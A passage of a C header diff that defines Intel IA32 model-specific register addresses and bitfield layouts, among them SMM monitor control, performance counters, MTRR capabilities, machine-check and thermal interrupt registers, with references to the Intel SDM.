SMI Unblocking)] + * @see Vol3C[34.15.5(Enabling the Dual-Monitor Treatment)] (reference) + */ + uint64_t smi_unblocking_by_vmxoff : 1; +#define IA32_SMM_MONITOR_CTL_SMI_UNBLOCKING_BY_VMXOFF_BIT 2 +#define IA32_SMM_MONITOR_CTL_SMI_UNBLOCKING_BY_VMXOFF_FLAG 0x04 +#define IA32_SMM_MONITOR_CTL_SMI_UNBLOCKING_BY_VMXOFF_MASK 0x01 +#define IA32_SMM_MONITOR_CTL_SMI_UNBLOCKING_BY_VMXOFF(_) (((_) >> 2) & 0x01) + uint64_t reserved2 : 9; + + /** + * @brief MSEG Base (R/W) + * + * [Bits 31:12] Value that, when shifted left 12 bits, is the physical address of MSEG (the MSEG base address). + * + * @see Vol3C[34.15.5(Enabling the Dual-Monitor Treatment)] (reference) + */ + uint64_t mseg_base : 20; +#define IA32_SMM_MONITOR_CTL_MSEG_BASE_BIT 12 +#define IA32_SMM_MONITOR_CTL_MSEG_BASE_FLAG 0xFFFFF000 +#define IA32_SMM_MONITOR_CTL_MSEG_BASE_MASK 0xFFFFF +#define IA32_SMM_MONITOR_CTL_MSEG_BASE(_) (((_) >> 12) & 0xFFFFF) + uint64_t reserved3 : 32; + }; + + uint64_t flags; +} ia32_smm_monitor_ctl_register; + +typedef struct +{ + /** + * @brief MSEG revision identifier + * + * Different processors may use different MSEG revision identifiers. These identifiers enable software to avoid using an + * MSEG header formatted for one processor on a processor that uses a different format. Software can discover the MSEG + * revision identifier that a processor uses by reading the VMX capability MSR IA32_VMX_MISC. + * + * @see Vol3D[A.6(MISCELLANEOUS DATA)] + */ + uint32_t mseg_header_revision; + + /** + * @brief SMM-transfer monitor features field + * + * Bits 31:1 of this field are reserved and must be zero. Bit 0 of the field is the IA-32e mode SMM feature bit. It + * indicates whether the logical processor will be in IA-32e mode after the STM is activated. + * + * @see Vol3C[34.15.6(Activating the Dual-Monitor Treatment)] + */ + uint32_t monitor_features; + + /** + * Define values for the MonitorFeatures field of MSEG_HEADER. + */ +#define IA32_STM_FEATURES_IA32E 0x00000001 + + /** + * Fields that determine how processor state is loaded when the STM is activated. SMM code should establish these fields so + * that activating of the STM invokes the STM's initialization code. + * + * @see Vol3C[34.15.6.5(Loading Host State)] + */ + uint32_t gdtr_limit; + uint32_t gdtr_base_offset; + uint32_t cs_selector; + uint32_t eip_offset; + uint32_t esp_offset; + uint32_t cr3_offset; +} ia32_mseg_header; + + +/** + * Base address of the logical processor's SMRAM image. + * + * @remarks If IA32_VMX_MISC[15] + */ +#define IA32_SMBASE 0x0000009E + /** + * @defgroup ia32_pmc \ + * IA32_PMC(n) + * + * General Performance Counters. + * + * @remarks If CPUID.0AH: EAX[15:8] > n + * @{ + */ +#define IA32_PMC0 0x000000C1 +#define IA32_PMC1 0x000000C2 +#define IA32_PMC2 0x000000C3 +#define IA32_PMC3 0x000000C4 +#define IA32_PMC4 0x000000C5 +#define IA32_PMC5 0x000000C6 +#define IA32_PMC6 0x000000C7 +#define IA32_PMC7 0x000000C8 + /** + * @} + */ + + + /** + * TSC Frequency Clock Counter. + * + * @remarks If CPUID.06H: ECX[0] = 1 + */ +#define IA32_MPERF 0x000000E7 +typedef struct +{ + /** + * @brief C0 TSC Frequency Clock Count + * + * Increments at fixed interval (relative to TSC freq.) when the logical processor is in C0. Cleared upon overflow / + * wrap-around of IA32_APERF. + */ + uint64_t c0_mcnt; +} ia32_mperf_register; + + +/** + * Actual Performance Clock Counter + * + * @remarks If CPUID.06H: ECX[0] = 1 + */ +#define IA32_APERF 0x000000E8 +typedef struct +{ + /** + * @brief C0 Actual Frequency Clock Count + * + * Accumulates core clock counts at the coordinated clock frequency, when the logical processor is in C0. Cleared upon + * overflow / wrap-around of IA32_MPERF. + */ + uint64_t c0_acnt; +} ia32_aperf_register; + + +/** + * MTRR Capability. + * + * @see Vol3A[11.11.2.1(IA32_MTRR_DEF_TYPE MSR)] + * @see Vol3A[11.11.1(MTRR Feature Identification)] (reference) + */ +#define IA32_MTRR_CAPABILITIES 0x000000FE +typedef union +{ + struct + { + /** + * @brief VCNT (variable range registers count) field + * + * [Bits 7:0] Indicates the number of variable ranges implemented on the processor. + */ + uint64_t variable_range_count : 8; +#define IA32_MTRR_CAPABILITIES_VARIABLE_RANGE_COUNT_BIT 0 +#define IA32_MTRR_CAPABILITIES_VARIABLE_RANGE_COUNT_FLAG 0xFF +#define IA32_MTRR_CAPABILITIES_VARIABLE_RANGE_COUNT_MASK 0xFF +#define IA32_MTRR_CAPABILITIES_VARIABLE_RANGE_COUNT(_) (((_) >> 0) & 0xFF) + + /** + * @brief FIX (fixed range registers supported) flag + * + * [Bit 8] Fixed range MTRRs (IA32_MTRR_FIX64K_00000 through IA32_MTRR_FIX4K_0F8000) are supported when set; no fixed range + * registers are supported when clear. + */ + uint64_t fixed_range_supported : 1; +#define IA32_MTRR_CAPABILITIES_FIXED_RANGE_SUPPORTED_BIT 8 +#define IA32_MTRR_CAPABILITIES_FIXED_RANGE_SUPPORTED_FLAG 0x100 +#define IA32_MTRR_CAPABILITIES_FIXED_RANGE_SUPPORTED_MASK 0x01 +#define IA32_MTRR_CAPABILITIES_FIXED_RANGE_SUPPORTED(_) (((_) >> 8) & 0x01) + uint64_t reserved1 : 1; + + /** + * @brief WC (write combining) flag + * + * [Bit 10] The write-combining (WC) memory type is supported when set; the WC type is not supported when clear. + */ + uint64_t wc_supported : 1; +#define IA32_MTRR_CAPABILITIES_WC_SUPPORTED_BIT 10 +#define IA32_MTRR_CAPABILITIES_WC_SUPPORTED_FLAG 0x400 +#define IA32_MTRR_CAPABILITIES_WC_SUPPORTED_MASK 0x01 +#define IA32_MTRR_CAPABILITIES_WC_SUPPORTED(_) (((_) >> 10) & 0x01) + + /** + * @brief SMRR (System-Management Range Register) flag + * + * [Bit 11] The system-management range register (SMRR) interface is supported when bit 11 is set; the SMRR interface is + * not supported when clear. + */ + uint64_t smrr_supported : 1; +#define IA32_MTRR_CAPABILITIES_SMRR_SUPPORTED_BIT 11 +#define IA32_MTRR_CAPABILITIES_SMRR_SUPPORTED_FLAG 0x800 +#define IA32_MTRR_CAPABILITIES_SMRR_SUPPORTED_MASK 0x01 +#define IA32_MTRR_CAPABILITIES_SMRR_SUPPORTED(_) (((_) >> 11) & 0x01) + uint64_t reserved2 : 52; + }; + + uint64_t flags; +} ia32_mtrr_capabilities_register; + + +/** + * @brief SYSENTER_CS_MSR (R/W) + * + * The lower 16 bits of this MSR are the segment selector for the privilege level 0 code segment. This value is also used + * to determine the segment selector of the privilege level 0 stack segment. This value cannot indicate a null selector. + * + * @remarks 06_01H + * @see Vol2B[4.3(Instructions (M-U) | SYSCALL - Fast System Call)] (reference) + */ +#define IA32_SYSENTER_CS 0x00000174 +typedef union +{ + struct + { + /** + * [Bits 15:0] CS Selector. + */ + uint64_t cs_selector : 16; +#define IA32_SYSENTER_CS_CS_SELECTOR_BIT 0 +#define IA32_SYSENTER_CS_CS_SELECTOR_FLAG 0xFFFF +#define IA32_SYSENTER_CS_CS_SELECTOR_MASK 0xFFFF +#define IA32_SYSENTER_CS_CS_SELECTOR(_) (((_) >> 0) & 0xFFFF) + + /** + * [Bits 31:16] Not used. + * + * @remarks Can be read and written. + */ + uint64_t not_used_1 : 16; +#define IA32_SYSENTER_CS_NOT_USED_1_BIT 16 +#define IA32_SYSENTER_CS_NOT_USED_1_FLAG 0xFFFF0000 +#define IA32_SYSENTER_CS_NOT_USED_1_MASK 0xFFFF +#define IA32_SYSENTER_CS_NOT_USED_1(_) (((_) >> 16) & 0xFFFF) + + /** + * [Bits 63:32] Not used. + * + * @remarks Writes ignored; reads return zero. + */ + uint64_t not_used_2 : 32; +#define IA32_SYSENTER_CS_NOT_USED_2_BIT 32 +#define IA32_SYSENTER_CS_NOT_USED_2_FLAG 0xFFFFFFFF00000000 +#define IA32_SYSENTER_CS_NOT_USED_2_MASK 0xFFFFFFFF +#define IA32_SYSENTER_CS_NOT_USED_2(_) (((_) >> 32) & 0xFFFFFFFF) + }; + + uint64_t flags; +} ia32_sysenter_cs_register; + + +/** + * @brief SYSENTER_ESP_MSR (R/W) + * + * The value of this MSR is loaded into RSP (thus, this value contains the stack pointer for the privilege level 0 stack). + * This value cannot represent a non-canonical address. In protected mode, only bits 31:0 are loaded. + * + * @remarks 06_01H + * @see Vol2B[4.3(Instructions (M-U) | SYSCALL - Fast System Call)] (reference) + */ +#define IA32_SYSENTER_ESP 0x00000175 + + /** + * @brief SYSENTER_EIP_MSR (R/W) + * + * The value of this MSR is loaded into RIP (thus, this value references the first instruction of the selected operating + * procedure or routine). In protected mode, only bits 31:0 are loaded. + * + * @remarks 06_01H + * @see Vol2B[4.3(Instructions (M-U) | SYSCALL - Fast System Call)] (reference) + */ +#define IA32_SYSENTER_EIP 0x00000176 + + /** + * Global Machine Check Capability. + * + * @remarks 06_01H + */ +#define IA32_MCG_CAP 0x00000179 +typedef union +{ + struct + { + /** + * [Bits 7:0] Number of reporting banks. + */ + uint64_t count : 8; +#define IA32_MCG_CAP_COUNT_BIT 0 +#define IA32_MCG_CAP_COUNT_FLAG 0xFF +#define IA32_MCG_CAP_COUNT_MASK 0xFF +#define IA32_MCG_CAP_COUNT(_) (((_) >> 0) & 0xFF) + + /** + * [Bit 8] IA32_MCG_CTL is present if this bit is set. + */ + uint64_t mcg_ctl_p : 1; +#define IA32_MCG_CAP_MCG_CTL_P_BIT 8 +#define IA32_MCG_CAP_MCG_CTL_P_FLAG 0x100 +#define IA32_MCG_CAP_MCG_CTL_P_MASK 0x01 +#define IA32_MCG_CAP_MCG_CTL_P(_) (((_) >> 8) & 0x01) + + /** + * [Bit 9] Extended machine check state registers are present if this bit is set. + */ + uint64_t mcg_ext_p : 1; +#define IA32_MCG_CAP_MCG_EXT_P_BIT 9 +#define IA32_MCG_CAP_MCG_EXT_P_FLAG 0x200 +#define IA32_MCG_CAP_MCG_EXT_P_MASK 0x01 +#define IA32_MCG_CAP_MCG_EXT_P(_) (((_) >> 9) & 0x01) + + /** + * [Bit 10] Support for corrected MC error event is present. + * + * @remarks 06_01H + */ + uint64_t mcp_cmci_p : 1; +#define IA32_MCG_CAP_MCP_CMCI_P_BIT 10 +#define IA32_MCG_CAP_MCP_CMCI_P_FLAG 0x400 +#define IA32_MCG_CAP_MCP_CMCI_P_MASK 0x01 +#define IA32_MCG_CAP_MCP_CMCI_P(_) (((_) >> 10) & 0x01) + + /** + * [Bit 11] Threshold-based error status register are present if this bit is set. + */ + uint64_t mcg_tes_p : 1; +#define IA32_MCG_CAP_MCG_TES_P_BIT 11 +#define IA32_MCG_CAP_MCG_TES_P_FLAG 0x800 +#define IA32_MCG_CAP_MCG_TES_P_MASK 0x01 +#define IA32_MCG_CAP_MCG_TES_P(_) (((_) >> 11) & 0x01) + uint64_t reserved1 : 4; + + /** + * [Bits 23:16] Number of extended machine check state registers present. + */ + uint64_t mcg_ext_cnt : 8; +#define IA32_MCG_CAP_MCG_EXT_CNT_BIT 16 +#define IA32_MCG_CAP_MCG_EXT_CNT_FLAG 0xFF0000 +#define IA32_MCG_CAP_MCG_EXT_CNT_MASK 0xFF +#define IA32_MCG_CAP_MCG_EXT_CNT(_) (((_) >> 16) & 0xFF) + + /** + * [Bit 24] The processor supports software error recovery if this bit is set. + */ + uint64_t mcg_ser_p : 1; +#define IA32_MCG_CAP_MCG_SER_P_BIT 24 +#define IA32_MCG_CAP_MCG_SER_P_FLAG 0x1000000 +#define IA32_MCG_CAP_MCG_SER_P_MASK 0x01 +#define IA32_MCG_CAP_MCG_SER_P(_) (((_) >> 24) & 0x01) + uint64_t reserved2 : 1; + + /** + * [Bit 26] Indicates that the processor allows platform firmware to be invoked when an error is detected so that it may + * provide additional platform specific information in an ACPI format "Generic Error Data Entry" that augments the data + * included in machine check bank registers. + * + * @remarks 06_3EH + */ + uint64_t mcg_elog_p : 1; +#define IA32_MCG_CAP_MCG_ELOG_P_BIT 26 +#define IA32_MCG_CAP_MCG_ELOG_P_FLAG 0x4000000 +#define IA32_MCG_CAP_MCG_ELOG_P_MASK 0x01 +#define IA32_MCG_CAP_MCG_ELOG_P(_) (((_) >> 26) & 0x01) + + /** + * [Bit 27] Indicates that the processor supports extended state in IA32_MCG_STATUS and associated MSR necessary to + * configure Local Machine Check Exception (LMCE). + * + * @remarks 06_3EH + */ + uint64_t mcg_lmce_p : 1; +#define IA32_MCG_CAP_MCG_LMCE_P_BIT 27 +#define IA32_MCG_CAP_MCG_LMCE_P_FLAG 0x8000000 +#define IA32_MCG_CAP_MCG_LMCE_P_MASK 0x01 +#define IA32_MCG_CAP_MCG_LMCE_P(_) (((_) >> 27) & 0x01) + uint64_t reserved3 : 36; + }; + + uint64_t flags; +} ia32_mcg_cap_register; + + +/** + * Global Machine Check Status. + * + * @remarks 06_01H + */ +#define IA32_MCG_STATUS 0x0000017A +typedef union +{ + struct + { + /** + * [Bit 0] Restart IP valid. + * + * @remarks 06_01H + */ + uint64_t ripv : 1; +#define IA32_MCG_STATUS_RIPV_BIT 0 +#define IA32_MCG_STATUS_RIPV_FLAG 0x01 +#define IA32_MCG_STATUS_RIPV_MASK 0x01 +#define IA32_MCG_STATUS_RIPV(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] Error IP valid. + * + * @remarks 06_01H + */ + uint64_t eipv : 1; +#define IA32_MCG_STATUS_EIPV_BIT 1 +#define IA32_MCG_STATUS_EIPV_FLAG 0x02 +#define IA32_MCG_STATUS_EIPV_MASK 0x01 +#define IA32_MCG_STATUS_EIPV(_) (((_) >> 1) & 0x01) + + /** + * [Bit 2] Machine check in progress. + * + * @remarks 06_01H + */ + uint64_t mcip : 1; +#define IA32_MCG_STATUS_MCIP_BIT 2 +#define IA32_MCG_STATUS_MCIP_FLAG 0x04 +#define IA32_MCG_STATUS_MCIP_MASK 0x01 +#define IA32_MCG_STATUS_MCIP(_) (((_) >> 2) & 0x01) + + /** + * [Bit 3] If IA32_MCG_CAP.LMCE_P[27] = 1. + */ + uint64_t lmce_s : 1; +#define IA32_MCG_STATUS_LMCE_S_BIT 3 +#define IA32_MCG_STATUS_LMCE_S_FLAG 0x08 +#define IA32_MCG_STATUS_LMCE_S_MASK 0x01 +#define IA32_MCG_STATUS_LMCE_S(_) (((_) >> 3) & 0x01) + uint64_t reserved1 : 60; + }; + + uint64_t flags; +} ia32_mcg_status_register; + + +/** + * Global Machine Check Control. + * + * @remarks If IA32_MCG_CAP.CTL_P[8] = 1 + */ +#define IA32_MCG_CTL 0x0000017B + /** + * @defgroup ia32_perfevtsel \ + * IA32_PERFEVTSEL(n) + * + * Performance Event Select Register n. + * + * @remarks If CPUID.0AH: EAX[15:8] > n + * @{ + */ +#define IA32_PERFEVTSEL0 0x00000186 +#define IA32_PERFEVTSEL1 0x00000187 +#define IA32_PERFEVTSEL2 0x00000188 +#define IA32_PERFEVTSEL3 0x00000189 +typedef union +{ + struct + { + /** + * [Bits 7:0] Selects a performance event logic unit. + */ + uint64_t event_select : 8; +#define IA32_PERFEVTSEL_EVENT_SELECT_BIT 0 +#define IA32_PERFEVTSEL_EVENT_SELECT_FLAG 0xFF +#define IA32_PERFEVTSEL_EVENT_SELECT_MASK 0xFF +#define IA32_PERFEVTSEL_EVENT_SELECT(_) (((_) >> 0) & 0xFF) + + /** + * [Bits 15:8] Qualifies the microarchitectural condition to detect on the selected event logic. + */ + uint64_t u_mask : 8; +#define IA32_PERFEVTSEL_U_MASK_BIT 8 +#define IA32_PERFEVTSEL_U_MASK_FLAG 0xFF00 +#define IA32_PERFEVTSEL_U_MASK_MASK 0xFF +#define IA32_PERFEVTSEL_U_MASK(_) (((_) >> 8) & 0xFF) + + /** + * [Bit 16] Counts while in privilege level is not ring 0. + */ + uint64_t usr : 1; +#define IA32_PERFEVTSEL_USR_BIT 16 +#define IA32_PERFEVTSEL_USR_FLAG 0x10000 +#define IA32_PERFEVTSEL_USR_MASK 0x01 +#define IA32_PERFEVTSEL_USR(_) (((_) >> 16) & 0x01) + + /** + * [Bit 17] Counts while in privilege level is ring 0. + */ + uint64_t os : 1; +#define IA32_PERFEVTSEL_OS_BIT 17 +#define IA32_PERFEVTSEL_OS_FLAG 0x20000 +#define IA32_PERFEVTSEL_OS_MASK 0x01 +#define IA32_PERFEVTSEL_OS(_) (((_) >> 17) & 0x01) + + /** + * [Bit 18] Enables edge detection if set. + */ + uint64_t edge : 1; +#define IA32_PERFEVTSEL_EDGE_BIT 18 +#define IA32_PERFEVTSEL_EDGE_FLAG 0x40000 +#define IA32_PERFEVTSEL_EDGE_MASK 0x01 +#define IA32_PERFEVTSEL_EDGE(_) (((_) >> 18) & 0x01) + + /** + * [Bit 19] Enables pin control. + */ + uint64_t pc : 1; +#define IA32_PERFEVTSEL_PC_BIT 19 +#define IA32_PERFEVTSEL_PC_FLAG 0x80000 +#define IA32_PERFEVTSEL_PC_MASK 0x01 +#define IA32_PERFEVTSEL_PC(_) (((_) >> 19) & 0x01) + + /** + * [Bit 20] Enables interrupt on counter overflow. + */ + uint64_t intr : 1; +#define IA32_PERFEVTSEL_INTR_BIT 20 +#define IA32_PERFEVTSEL_INTR_FLAG 0x100000 +#define IA32_PERFEVTSEL_INTR_MASK 0x01 +#define IA32_PERFEVTSEL_INTR(_) (((_) >> 20) & 0x01) + + /** + * [Bit 21] When set to 1, it enables counting the associated event conditions occurring across all logical processors + * sharing a processor core. When set to 0, the counter only increments the associated event conditions occurring in the + * logical processor which programmed the MSR. + */ + uint64_t any_thread : 1; +#define IA32_PERFEVTSEL_ANY_THREAD_BIT 21 +#define IA32_PERFEVTSEL_ANY_THREAD_FLAG 0x200000 +#define IA32_PERFEVTSEL_ANY_THREAD_MASK 0x01 +#define IA32_PERFEVTSEL_ANY_THREAD(_) (((_) >> 21) & 0x01) + + /** + * [Bit 22] Enables the corresponding performance counter to commence counting when this bit is set. + */ + uint64_t en : 1; +#define IA32_PERFEVTSEL_EN_BIT 22 +#define IA32_PERFEVTSEL_EN_FLAG 0x400000 +#define IA32_PERFEVTSEL_EN_MASK 0x01 +#define IA32_PERFEVTSEL_EN(_) (((_) >> 22) & 0x01) + + /** + * [Bit 23] Invert the CMASK. + */ + uint64_t inv : 1; +#define IA32_PERFEVTSEL_INV_BIT 23 +#define IA32_PERFEVTSEL_INV_FLAG 0x800000 +#define IA32_PERFEVTSEL_INV_MASK 0x01 +#define IA32_PERFEVTSEL_INV(_) (((_) >> 23) & 0x01) + + /** + * [Bits 31:24] When CMASK is not zero, the corresponding performance counter increments each cycle if the event count is + * greater than or equal to the CMASK. + */ + uint64_t cmask : 8; +#define IA32_PERFEVTSEL_CMASK_BIT 24 +#define IA32_PERFEVTSEL_CMASK_FLAG 0xFF000000 +#define IA32_PERFEVTSEL_CMASK_MASK 0xFF +#define IA32_PERFEVTSEL_CMASK(_) (((_) >> 24) & 0xFF) + uint64_t reserved1 : 32; + }; + + uint64_t flags; +} ia32_perfevtsel_register; + +/** + * @} + */ + + + /** + * Current Performance Status. + * + * @remarks 0F_03H + * @see Vol3B[14.1.1(Software Interface For Initiating Performance State Transitions)] + */ +#define IA32_PERF_STATUS 0x00000198 +typedef union +{ + struct + { + /** + * [Bits 15:0] Current performance State Value. + */ + uint64_t state_value : 16; +#define IA32_PERF_STATUS_STATE_VALUE_BIT 0 +#define IA32_PERF_STATUS_STATE_VALUE_FLAG 0xFFFF +#define IA32_PERF_STATUS_STATE_VALUE_MASK 0xFFFF +#define IA32_PERF_STATUS_STATE_VALUE(_) (((_) >> 0) & 0xFFFF) + uint64_t reserved1 : 48; + }; + + uint64_t flags; +} ia32_perf_status_register; + + +/** + * @brief Performance Control (R/W) + * + * Performance Control. Software makes a request for a new Performance state (P-State) by writing this MSR. + * + * @remarks 0F_03H + * @see Vol3B[14.1.1(Software Interface For Initiating Performance State Transitions)] + */ +#define IA32_PERF_CTL 0x00000199 +typedef union +{ + struct + { + /** + * [Bits 15:0] Target performance State Value. + */ + uint64_t target_state_value : 16; +#define IA32_PERF_CTL_TARGET_STATE_VALUE_BIT 0 +#define IA32_PERF_CTL_TARGET_STATE_VALUE_FLAG 0xFFFF +#define IA32_PERF_CTL_TARGET_STATE_VALUE_MASK 0xFFFF +#define IA32_PERF_CTL_TARGET_STATE_VALUE(_) (((_) >> 0) & 0xFFFF) + uint64_t reserved1 : 16; + + /** + * [Bit 32] IDA Engage. + * + * @remarks 06_0FH (Mobile only) + */ + uint64_t ida_engage : 1; +#define IA32_PERF_CTL_IDA_ENGAGE_BIT 32 +#define IA32_PERF_CTL_IDA_ENGAGE_FLAG 0x100000000 +#define IA32_PERF_CTL_IDA_ENGAGE_MASK 0x01 +#define IA32_PERF_CTL_IDA_ENGAGE(_) (((_) >> 32) & 0x01) + uint64_t reserved2 : 31; + }; + + uint64_t flags; +} ia32_perf_ctl_register; + + +/** + * Clock Modulation Control. + * + * @remarks If CPUID.01H:EDX[22] = 1 + * @see Vol3B[14.7.3(Software Controlled Clock Modulation)] + */ +#define IA32_CLOCK_MODULATION 0x0000019A +typedef union +{ + struct + { + /** + * [Bit 0] Extended On-Demand Clock Modulation Duty Cycle. + * + * @remarks If CPUID.06H:EAX[5] = 1 + */ + uint64_t extended_on_demand_clock_modulation_duty_cycle : 1; +#define IA32_CLOCK_MODULATION_EXTENDED_ON_DEMAND_CLOCK_MODULATION_DUTY_CYCLE_BIT 0 +#define IA32_CLOCK_MODULATION_EXTENDED_ON_DEMAND_CLOCK_MODULATION_DUTY_CYCLE_FLAG 0x01 +#define IA32_CLOCK_MODULATION_EXTENDED_ON_DEMAND_CLOCK_MODULATION_DUTY_CYCLE_MASK 0x01 +#define IA32_CLOCK_MODULATION_EXTENDED_ON_DEMAND_CLOCK_MODULATION_DUTY_CYCLE(_) (((_) >> 0) & 0x01) + + /** + * @brief On-Demand Clock Modulation Duty Cycle + * + * [Bits 3:1] On-Demand Clock Modulation Duty Cycle: Specific encoded values for target duty cycle modulation. + * + * @remarks If CPUID.01H:EDX[22] = 1 + */ + uint64_t on_demand_clock_modulation_duty_cycle : 3; +#define IA32_CLOCK_MODULATION_ON_DEMAND_CLOCK_MODULATION_DUTY_CYCLE_BIT 1 +#define IA32_CLOCK_MODULATION_ON_DEMAND_CLOCK_MODULATION_DUTY_CYCLE_FLAG 0x0E +#define IA32_CLOCK_MODULATION_ON_DEMAND_CLOCK_MODULATION_DUTY_CYCLE_MASK 0x07 +#define IA32_CLOCK_MODULATION_ON_DEMAND_CLOCK_MODULATION_DUTY_CYCLE(_) (((_) >> 1) & 0x07) + + /** + * @brief On-Demand Clock Modulation Enable + * + * [Bit 4] On-Demand Clock Modulation Enable: Set 1 to enable modulation. + * + * @remarks If CPUID.01H:EDX[22] = 1 + */ + uint64_t on_demand_clock_modulation_enable : 1; +#define IA32_CLOCK_MODULATION_ON_DEMAND_CLOCK_MODULATION_ENABLE_BIT 4 +#define IA32_CLOCK_MODULATION_ON_DEMAND_CLOCK_MODULATION_ENABLE_FLAG 0x10 +#define IA32_CLOCK_MODULATION_ON_DEMAND_CLOCK_MODULATION_ENABLE_MASK 0x01 +#define IA32_CLOCK_MODULATION_ON_DEMAND_CLOCK_MODULATION_ENABLE(_) (((_) >> 4) & 0x01) + uint64_t reserved1 : 59; + }; + + uint64_t flags; +} ia32_clock_modulation_register; + + +/** + * @brief Thermal Interrupt Control (R/W) + * + * Thermal Interrupt Control. Enables and disables the generation of an interrupt on temperature transitions detected with + * the processor's thermal sensors and thermal monitor. + * + * @remarks If CPUID.01H:EDX[22] = 1 + * @see Vol3B[14.7.2(Thermal Monitor)] + */ +#define IA32_THERM_INTERRUPT 0x0000019B +typedef union +{ + struct + { + /** + * [Bit 0] High-Temperature Interrupt Enable. + * + * @remarks If CPUID.01H:EDX[22] = 1 + */ + uint64_t high_temperature_interrupt_enable : 1; +#define IA32_THERM_INTERRUPT_HIGH_TEMPERATURE_INTERRUPT_ENABLE_BIT 0 +#define IA32_THERM_INTERRUPT_HIGH_TEMPERATURE_INTERRUPT_ENABLE_FLAG 0x01 +#define IA32_THERM_INTERRUPT_HIGH_TEMPERATURE_INTERRUPT_ENABLE_MASK 0x01 +#define IA32_THERM_INTERRUPT_HIGH_TEMPERATURE_INTERRUPT_ENABLE(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] Low-Temperature Interrupt Enable. + * + * @remarks If CPUID.01H:EDX[22] = 1 + */ + uint64_t low_temperature_interrupt_enable : 1; +#define IA32_THERM_INTERRUPT_LOW_TEMPERATURE_INTERRUPT_ENABLE_BIT 1 +#define IA32_THERM_INTERRUPT_LOW_TEMPERATURE_INTERRUPT_ENABLE_FLAG 0x02 +#define IA32_THERM_INTERRUPT_LOW_TEMPERATURE_INTERRUPT_ENABLE_MASK 0x01 +#define IA32_THERM_INTERRUPT_LOW_TEMPERATURE_INTERRUPT_ENABLE(_) (((_) >> 1) & 0x01) + + /** + * [Bit 2] PROCHOT\# Interrupt Enable. + * + * @remarks If CPUID.01H:EDX[22] = 1 + */ + uint64_t prochot_interrupt_enable : 1; +#define IA32_THERM_INTERRUPT_PROCHOT_INTERRUPT_ENABLE_BIT 2 +#define IA32_THERM_INTERRUPT_PROCHOT_INTERRUPT_ENABLE_FLAG 0x04 +#define IA32_THERM_INTERRUPT_PROCHOT_INTERRUPT_ENABLE_MASK 0x01 +#define IA32_THERM_INTERRUPT_PROCHOT_INTERRUPT_ENABLE(_) (((_) >> 2) & 0x01) + + /** + * [Bit 3] FORCEPR\# Interrupt Enable. + * + * @remarks If CPUID.01H:EDX[22] = 1 + */ + uint64_t forcepr_interrupt_enable : 1; +#define IA32_THERM_INTERRUPT_FORCEPR_INTERRUPT_ENABLE_BIT 3 +#define IA32_THERM_INTERRUPT_FORCEPR_INTERRUPT_ENABLE_FLAG 0x08 +#define IA32_THERM_INTERRUPT_FORCEPR_INTERRUPT_ENABLE_MASK 0x01 +#define IA32_THERM_INTERRUPT_FORCEPR_INTERRUPT_ENABLE(_) (((_) >> 3) & 0x01) + + /** + * [Bit 4] Critical Temperature Interrupt Enable. + * + * @remarks If CPUID.01H:EDX[22] = 1 + */ + uint64_t critical_temperature_interrupt_enable : 1; +#define IA32_THERM_INTERRUPT_CRITICAL_TEMPERATURE_INTERRUPT_ENABLE_BIT 4 +#define IA32_THERM_INTERRUPT_CRITICAL_TEMPERATURE_INTERRUPT_ENABLE_FLAG 0x10 +#define IA32_THERM_INTERRUPT_CRITICAL_TEMPERATURE_INTERRUPT_ENABLE_MASK 0x01 +#define IA32_THERM_INTERRUPT_CRITICAL_TEMPERATURE_INTERRUPT_ENABLE(_) (((_) >> 4) & 0x01) + uint64_t reserved1 : 3; + + /** + * [Bits 14:8] Threshold \#1 Value + * + * @remarks If CPUID.01H:EDX[22] = 1 + */ + uint64_t threshold1_value : 7; +#define IA32_THERM_INTERRUPT_THRESHOLD1_VALUE_BIT 8 +#define IA32_THERM_INTERRUPT_THRESHOLD1_VALUE_FLAG 0x7F00 +#define IA32_THERM_INTERRUPT_THRESHOLD1_VALUE_MASK 0x7F +#define IA32_THERM_INTERRUPT_THRESHOLD1_VALUE(_) (((_) >> 8) & 0x7F) + + /** + * [Bit 15] Threshold \#1 Interrupt Enable. + * + * @remarks If CPUID.01H:EDX[22] = 1 + */ + uint64_t threshold1_interrupt_enable : 1; +#define IA32_THERM_INTERRUPT_THRESHOLD1_INTERRUPT_ENABLE_BIT 15 +#define IA32_THERM_INTERRUPT_THRESHOLD1_INTERRUPT_ENABLE_FLAG 0x8000 +#define IA32_THERM_INTERRUPT_THRESHOLD1_INTERRUPT_ENABLE_MASK 0x01 +#define IA32_THERM_INTERRUPT_THRESHOLD1_INTERRUPT_ENABLE(_) (((_) >> 15) & 0x01) + + /** + * [Bits 22:16] Threshold \#2 Value. + * + * @remarks If CPUID.01H:EDX[22] = 1 + */ + uint64_t threshold2_value : 7; +#define IA32_THERM_INTERRUPT_THRESHOLD2_VALUE_BIT 16 +#define IA32_THERM_INTERRUPT_THRESHOLD2_VALUE_FLAG 0x7F0000 +#define IA32_THERM_INTERRUPT_THRESHOLD2_VALUE_MASK 0x7F +#define IA32_THERM_INTERRUPT_THRESHOLD2_VALUE(_) (((_) >> 16) & 0x7F) + + /** + * [Bit 23] Threshold \#2 Interrupt Enable. + * + * @remarks If CPUID.01H:EDX[22] = 1 + */ + uint64_t threshold2_interrupt_enable : 1; +#define IA32_THERM_INTERRUPT_THRESHOLD2_INTERRUPT_ENABLE_BIT 23 +#define IA32_THERM_INTERRUPT_THRESHOLD2_INTERRUPT_ENABLE_FLAG 0x800000 +#define IA32_THERM_INTERRUPT_THRESHOLD2_INTERRUPT_ENABLE_MASK 0x01 +#define IA32_THERM_INTERRUPT_THRESHOLD2_INTERRUPT_ENABLE(_) (((_) >> 23) & 0x01) + + /** + * [Bit 24] Power Limit Notification Enable. + * + * @remarks If CPUID.06H:EAX[4] = 1 + */ + uint64_t power_limit_notification_enable : 1; +#define IA32_THERM_INTERRUPT_POWER_LIMIT_NOTIFICATION_ENABLE_BIT 24 +#define IA32_THERM_INTERRUPT_POWER_LIMIT_NOTIFICATION_ENABLE_FLAG 0x1000000 +#define IA32_THERM_INTERRUPT_POWER_LIMIT_NOTIFICATION_ENABLE_MASK 0x01 +#define IA32_THERM_INTERRUPT_POWER_LIMIT_NOTIFICATION_ENABLE(_) (((_) >> 24) & 0x01) + uint64_t reserved2 : 39; + }; + + uint64_t flags; +} ia32_therm_interrupt_register; + + +/** + * @brief Thermal Status Information (RO) + * + * Thermal Status Information. Contains status information about the processor's thermal sensor and automatic thermal + * monitoring facilities. + * + * @remarks If CPUID.01H:EDX[22] = 1 + * @see Vol3B[14.7.2(Thermal Monitor)] + */ 